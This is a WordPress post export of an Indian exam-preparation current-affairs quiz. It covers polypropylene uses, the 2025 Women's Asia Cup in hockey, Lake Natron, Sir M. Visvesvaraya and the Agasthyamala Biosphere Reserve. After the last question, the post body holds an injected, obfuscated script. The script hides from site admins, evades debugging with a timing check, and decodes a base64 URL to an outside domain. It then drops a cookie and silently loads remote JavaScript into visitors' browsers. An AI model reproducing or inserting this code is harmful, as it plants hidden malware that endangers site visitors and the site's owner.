class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>How many of the above materials contain Polypropylene?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(c) Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(d) All the five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Answer: (d) All the five<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>In NEWS:<\/strong> Prime Minister Shri Narendra Modi inaugurates Bioethanol Plant and lays foundation for Polypropylene Unit in Numaligarh Refinery Limited (NRL) in Assam.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Polypropylene:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>Polypropylene is a versatile thermoplastic polymer made from the monomer propylene. It&#8217;s part of the polyolefin family and is known for:<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">1. High chemical resistance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">2. Low density (lightweight)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">3. Strength &amp; durability<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">4. Easy moldability<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-132\">\n<li>It&#8217;s one of the most widely used plastics in the world, including India.<\/li>\n\n\n\n<li>PP is recyclable (code #5 plastic), though actual recycling rates are low.<\/li>\n\n\n\n<li>It&#8217;s food-safe, lightweight, and moisture-resistant.<\/li>\n\n\n\n<li>It is durable, heat-resistant, and cheap to produce<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Key Applications of Polypropylene in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Packaging Industry<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-135\">\n<li>Food packaging: Chips, snacks, tea, sugar, grains<\/li>\n\n\n\n<li>Woven sacks: Cement bags, fertilizer bags, rice bags<\/li>\n\n\n\n<li>Flexible packaging: Films, pouches<\/li>\n\n\n\n<li>Containers &amp; bottles<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>Household Goods<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-137\">\n<li>Buckets, mugs, chairs, tables<\/li>\n\n\n\n<li>Storage boxes, crates, trays<\/li>\n\n\n\n<li>Dustbins, cloth drying stands<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Automotive Industry<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-139\">\n<li>Car bumpers, dashboards<\/li>\n\n\n\n<li>Battery casings, door panels<\/li>\n\n\n\n<li>Interior parts<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Textile &amp; Apparel<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-141\">\n<li>Non-woven fabrics (especially for disposable items)<\/li>\n\n\n\n<li>Face masks<\/li>\n\n\n\n<li>Medical gowns<\/li>\n\n\n\n<li>Sanitary napkins<\/li>\n\n\n\n<li>Ropes, carpets, and mats<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Healthcare &amp; Medical<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-143\">\n<li>Syringes, IV bottles, pill containers<\/li>\n\n\n\n<li>Disposable masks, gowns, and medical kits<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Agriculture<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-145\">\n<li>Drip irrigation pipes<\/li>\n\n\n\n<li>Mulch films<\/li>\n\n\n\n<li>Ropes, twines<\/li>\n\n\n\n<li>Fertilizer packaging<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Construction &amp; Infrastructure<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-147\">\n<li>Pipes &amp; fittings (especially PP-R)<\/li>\n\n\n\n<li>Storage tanks<\/li>\n\n\n\n<li>Insulation materials<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Hence option (d) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. With reference to polyethylene terephthalate, the use of which is so widespread in our daily lives, consider the following statements:<\/strong> <br><br>1. Its fibres can be blended with wool and cotton fibres to reinforce their properties. <br>2. Containers made of it can be used to store any alcoholic beverage. <br>3. Bottles made of it can be recycled into other products. <br>4. Articles made of it can be easily disposed of by incineration without causing greenhouse gas emissions. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br><strong>(a) 1 and 3<\/strong> <br>(b) 2 and 4 <br>(c) 1 and 4 <br>(d) 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2166529\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2166529<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>7. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">I. The Women\u2019s Asia Cup 2025 was held in Hangzhou, China.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">II. In the Women\u2019s Asia Cup 2025, India won the gold medal.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">III. Udita Duhan from India was awarded the best player of the tournament.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Which of the statements above is\/are correct?<\/strong>&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">(a) I only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">(b) II and III only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">(c) I and III only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>Answer: (c) I and III only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>In NEWS: <\/strong>Prime Minister congratulates Indian Women\u2019s Hockey Team on Asia Cup Silver Medal<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Women\u2019s Asia Cup 2025 &#8211; Hockey:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-163\">\n<li>In the Women\u2019s Asia Cup 2025 held in Hangzhou, China, India reached the final but lost 1\u20134 to the host nation, China and backed the Silver medal. <strong>Hence statement I is correct and II is incorrect.<\/strong><\/li>\n\n\n\n<li>This silver medal is a strong show from India, demonstrating their consistency and competitiveness in Asian women\u2019s hockey.<\/li>\n\n\n\n<li>However, the loss means missing out on direct qualification for the next Women\u2019s Hockey World Cup. China\u2019s win secured them direct entry.<\/li>\n\n\n\n<li>The 2025 edition featured 8 national teams from across Asia.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Individual Awards<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">1. Top Scorer: Zou Meirong (China) \u2013 11 goals<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">2. Best Player: Udita Duhan (India). <strong>Hence statement III is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Final Standings:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">\ud83e\udd47 China \u2013 Champions (Qualified for 2026 World Cup)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">\ud83e\udd48 India \u2013 Silver Medal<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">\ud83e\udd49 Japan \u2013 Bronze Medal<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following statements in respect of the first Kho-Kho World Cup:<\/strong> <br><br>I. The event was held in Delhi, India.\u00a0 <br>II. Indian men beat Nepal with a score of 78-40 in the final to become the World Champion in the men category.\u00a0 <br>III. Indian women beat Nepal with a score of 54\u201436 in the final to become the World Champion in women category.\u00a0 <br><br><strong>Which of the statements above is\/are correct?<\/strong>\u00a0 <br><br><strong>(a) I only\u00a0<\/strong> <br>(b) II and III only\u00a0 <br>(c) I and III only\u00a0 <br>(d) I, II and III<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2166616\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2166616<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><a><\/a><strong>8. The Tanzanian government recently halted soda ash mining near a lake which has been a Ramsar Site since 2001 and the only breeding ground for Lesser Flamingos in East Africa. The lake mentioned above is<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(a) Lake Natron<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">(b) Lake Faguibine<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">(c) Lake Oguta<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\">(d) Lake Volta<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Answer: (a) Lake Natron<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>In NEWS: <\/strong>Tanzania halts soda ash mining to save world\u2019s Lesser Flamingos<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>Lake Natron and the Lesser Flamingoes:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-181\">\n<li>Lake\u202fNatron in northern Tanzania is a critical breeding ground for the Lesser Flamingos, supporting between 1.5 and 2.5 million birds each year \u2014 about 75% of the global population.<\/li>\n\n\n\n<li>The lake has been designated a Ramsar Site since 2001, reflecting its international ecological importance. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>A proposed large\u2011scale soda ash mining project by Ngaresero Valley Company Ltd was halted by the Tanzanian government.<\/li>\n\n\n\n<li>Concerns included risks to flamingos, disruption of the fragile ecosystem, diversion of freshwater, and negative impacts on Maasai communities who rely on the lake for grazing, water and income from tourism.<\/li>\n\n\n\n<li>The government\u2019s decision emphasizes sustainable development: large industrial extraction is disallowed, but small\u2011scale, traditional collection of soda ash at the lake\u2019s edge is permitted.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"328\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-15.jpg\" alt=\"\" class=\"wp-image-2382\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-15.jpg 602w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-15-300x163.jpg 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>Lesser flamingo:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-183\">\n<li>The lesser flamingo (Phoeniconaias minor) is a species of flamingo occurring in sub-Saharan Africa and western India.<\/li>\n\n\n\n<li>The Lesser Flamingo is the smallest species of flamingo.<\/li>\n\n\n\n<li>Plumage is mostly pinkish\u2011white, with a more extensively black bill than in greater flamingos.<\/li>\n\n\n\n<li>They feed primarily on Spirulina algae and other cyanobacteria that grow in highly alkaline lakes. Their bills are adapted for filtering tiny food items.<\/li>\n\n\n\n<li>Native to sub\u2011Saharan Africa and western India.<\/li>\n\n\n\n<li>Breed principally on Lake Natron in Tanzania. Other African breeding sites include Etosha Pan, Makgadikgadi Pan, Kamfers Dam. In South Asia, breeding occurs in certain salt pans in northwestern India.<\/li>\n\n\n\n<li>They lay a single egg (chalky\u2011white) on a mud mound; after hatching, chicks join large creches (groups) and are led by adults to freshwater sources, sometimes walking long distances.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Threats &amp; Conservation Status:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">Classified as Near Threatened by IUCN.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Threats include:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">1. Loss or degradation of breeding sites.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\">2. Pollution (heavy metals, etc.).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\">3. Industrial projects (like soda ash mining) that might affect water quality or hydrology.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\">4. Rising water levels in East African soda lakes altering lake productivity.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Which one of the following lakes of West Africa has become dry and turned into a desert?<\/strong> <br><br>(a) Lake Victoria <br><strong>(b) Lake Faguibine<\/strong> <br>(c) Lake Oguta <br>(d) Lake Volta<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/africa\/tanzania-halts-soda-ash-mining-to-save-worlds-lesser-flamingos\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/africa\/tanzania-halts-soda-ash-mining-to-save-worlds-lesser-flamingos<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><a><\/a><strong>9. With reference to Sir Mokshagundam Visvesvaraya, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\">1. He was the chief engineer responsible for the construction of the Krishna Raja Sagara dam in Karnataka.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\">2. He served as the Diwan of Mysore and introduced compulsory primary education in the state.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\">3. He was awarded the Bharat Ratna for his contributions to public administration and engineering.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\">4. He proposed the &#8220;Visvesvaraya Plan&#8221; in 1934 for India&#8217;s economic development.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\">(b) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\">(c) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\">(d) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\"><strong>Answer: (c) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\"><strong>In NEWS: <\/strong>Prime Minister pays tribute to Sir M. Visvesvaraya on Engineers\u2019 Day<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\"><strong>Contributions of Sir M. Visvesvaraya:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-206\">\n<li>Sir Mokshagundam Visvesvaraya was a renowned Indian engineer, scholar, and statesman, popularly known as the \u201cFather of Modern Mysore.\u201d<\/li>\n\n\n\n<li>He was the chief engineer responsible for the design and construction of the Krishna Raja Sagara (KRS) dam in Karnataka, a major irrigation project. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Visvesvaraya introduced an innovative flood protection system for Hyderabad after the devastating Musi River floods of 1908.<\/li>\n\n\n\n<li>He served as the Diwan of Mysore from 1912 to 1918, during which he implemented wide-ranging reforms in industry, education, and infrastructure. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Under his leadership, the Mysore government promoted industrialization, establishing many public sector enterprises, including the Mysore Soap Factory and Mysore Iron Works.<\/li>\n\n\n\n<li>He pioneered the concept of planned economic development and scientific management in Indian administration.<\/li>\n\n\n\n<li>Visvesvaraya was awarded the Bharat Ratna in 1955 for his exceptional service to the nation. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>He advocated for compulsory primary education and established technical institutions to promote engineering and scientific education.<\/li>\n\n\n\n<li>His birthday, 15th September, is celebrated as Engineers\u2019 Day in India in his honor.<\/li>\n\n\n\n<li>Visvesvaraya\u2019s writings and lectures inspired generations of engineers and policymakers in India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\"><strong>&nbsp;&#8220;Visvesvaraya Plan&#8221;:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-208\">\n<li>The &#8220;Visvesvaraya Plan,&#8221; or Planned Economy for India, was a 1934 proposal by Sir M. Visvesvaraya, a prominent engineer and economist, for India&#8217;s economic development. <strong>Hence statement 4 is correct.<\/strong><\/li>\n\n\n\n<li>It advocated for democratic capitalism, a shift of labor from agriculture to industrialization, and aimed to double national income in a decade.<\/li>\n\n\n\n<li>Though the British government didn&#8217;t act on it, the plan &#8220;stirred an urge for national planning&#8221; and is considered the first blueprint for economic planning in India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2166651\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2166651<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-210 wp-block-paragraph\"><a><\/a><strong>10. Which of the following are in Agasthyamala Biosphere Reserve?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\">(a) Neyyar, ldl Peppara and Shendurney Wildlife Sanctuaries; and Kalakad Mundanthurai Tiger Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-212 wp-block-paragraph\">(b) Mudumalai, Sathyamangalam and Wayanad Wildlife Sanctuaries; and Silent Valley National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-213 wp-block-paragraph\">(c) Kaundinya, Gundla Brahmeswaram and Papikonda Wildlife Sanctuaries; and Mukurthi National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-214 wp-block-paragraph\">(d) Kawal and Sri Venkateswara Wildlife Sanctuaries; and Nagarjunasagar-Srisailam Tiger Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-215 wp-block-paragraph\"><strong>Answer: (a) Neyyar, ldl Peppara and Shendurney Wildlife Sanctuaries; and Kalakad Mundanthurai Tiger Reserve<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-216 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-217\">\n<li>The Agasthyamala Biosphere Reserve (ABR) is located in the southern part of the Western Ghats, spreading across:<\/li>\n\n\n\n<li>Kerala: Neyyar, Peppara, and Shendurney Wildlife Sanctuaries<\/li>\n\n\n\n<li>Tamil Nadu: Kalakad Mundanthurai Tiger Reserve (KMTR). <strong>Hence option (a) is correct.<\/strong><\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which among the following are considered as essential features of a democratic rule? 1. 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